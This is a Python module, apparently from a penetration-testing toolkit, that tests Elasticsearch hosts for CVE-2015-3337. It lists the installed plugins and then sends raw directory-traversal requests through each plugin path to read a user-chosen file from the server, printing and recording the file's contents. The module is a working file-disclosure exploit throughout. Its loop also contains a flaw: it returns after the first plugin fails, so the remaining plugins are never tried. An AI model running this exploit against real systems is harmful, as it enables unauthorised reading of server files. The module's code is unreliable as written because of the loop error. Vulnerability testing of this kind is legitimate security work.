"""
Elasticsearch CVE-2015-3337 test

This module implements a test to see if the host is vulnerable to CVE-2015-3337

https://nvd.nist.gov/vuln/detail/CVE-2015-3337

Contains:
- Vuln class for performing the test
- run() function as an entry point for running the test
"""

import http
from http import HTTPStatus

import requests
from ptlibs import ptjsonlib
from ptlibs.ptprinthelper import ptprint
from packaging.version import Version
from pathlib import Path

__TESTLABEL__ = "Elasticsearch CVE-2015-3337 test"


class Vuln:
    """
    This class check to see if the host is vulnerable to CVE-2015-3337 by first checking if the Elasticsearch version is vulnerable
    and then trying to exploit the vulnerability by reading the file specified by the -F switch on the host
    """
    def __init__(self, args: object, ptjsonlib: object, helpers: object, http_client: object, base_response: object) -> None:
        self.args = args
        self.ptjsonlib = ptjsonlib
        self.helpers = helpers
        self.http_client = http_client
        self.base_response = base_response
        self.helpers.print_header(__TESTLABEL__)
        self.cve_id = Path(__file__).stem.upper()


    def _check_version(self) -> None:
        """
        This method compares the version of Elasticsearch running on the host to check if it is < 1.4.5 or 1.5.x < 1.5.2 and thus vulnerable to CVE-2015-3337
        """
        version = Version(self.base_response.json()["version"]["number"])

        if version < Version("1.4.5") or Version("1.5.0") <= version < Version("1.5.2"):
            ptprint(f"Elasticsearch {version} should be vulnerable to {self.cve_id}", "INFO", not self.args.json, indent=4)
            return

        ptprint(f"Elasticsearch {version} might not be vulnerable to {self.cve_id}", "INFO", not self.args.json, indent=4)


    def _get_plugins(self) -> list:
        """
        This method list retrieves all plugins from the /_cat/plugins endpoint and returns a list of all plugin endpoints
        """
        plugins = self.http_client.send_request(method="GET", url=self.args.url+"_cat/plugins")

        if plugins.status_code != HTTPStatus.OK:
            ptprint(f"Could not get plugins. Received response: {plugins.status_code} {plugins.text}", "ERROR",
                    not self.args.json, indent=4)
            return []

        try:
            plugins = [plugin[plugin.find("/"):][1:-1] for plugin in plugins.text.split("\n")]
            plugins = list(filter(None, plugins))   # Remove empty string from plugin list
        except Exception as e:
            ptprint(f"Could not get plugins. {e}", "ERROR", not self.args.json, indent=4)
            return []

        ptprint(f"Found plugins: {''.join(plugins)}", "INFO", self.args.verbose, indent=4)

        return plugins


    def _exploit(self) -> bool:
        """
        This method exploits CVE-2015-3337 by first retrieving all available plugins with the _get_plugins() method and then attempting
        directory traversal on each of the available plugin endpoints. If we get an HTTP 200 OK response. The method prints out the
        received contents and adds them to the JSON output.

        The exploit follows the vulhub PoC available at: https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337

        :return: True if any of the plugins responds with an HTTP 200 OK. False otherwise
        """
        exploited = False
        plugins = self._get_plugins()

        if not plugins:
            ptprint(f"No plugins available for exploitation.", "ERROR", not self.args.json, indent=4)
            return False

        file = self.args.file

        for plugin in plugins:
            url = self.args.url + f"{plugin}../../../../../../../../../../../../..{file}"
            response = self.http_client.send_raw_request(url=url, method="GET") # Raw request to avoid path normalization

            ptprint(f"Attempting to exploit plugin {plugin}. Response: {response.text}", "INFO", self.args.verbose, indent=4)

            if response.status == HTTPStatus.OK:
                exploited = True
                break

            ptprint(f"Could not exploit any plugin", "ERROR", not self.args.json, indent=4)
            return exploited


        file_content = response.text

        ptprint(f"Contents of {file}: {file_content}", "INFO", not self.args.json, indent=4)
        content_node = self.ptjsonlib.create_node_object("file", properties={"name": file, "fileContent": file_content})
        self.ptjsonlib.add_node(content_node)

        return exploited


    def run(self) -> None:
        """
        Executes the Elasticsearch CVE-2015-3337 test by first checking if the version might be vulnerable and then exploiting
        the vulnerability with the _exploit() method. If the exploit is successful, CVE-2015-3337 is added to the JSON output
        """
        self._check_version()

        if self._exploit():
            ptprint(f"The host is vulnerable to {self.cve_id}", "VULN", not self.args.json, indent=4)
            es_node_key = self.helpers.check_node("swES")
            if es_node_key:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}", node_key=es_node_key)
            else:
                self.ptjsonlib.add_vulnerability(f"PTV-{self.cve_id}")

        else:
            ptprint(f"The host is not vulnerable to {self.cve_id}", "OK", not self.args.json, indent=4)


def run(args, ptjsonlib, helpers, http_client, base_response):
    """Entry point for running the Vuln test"""
    Vuln(args, ptjsonlib, helpers, http_client, base_response).run()
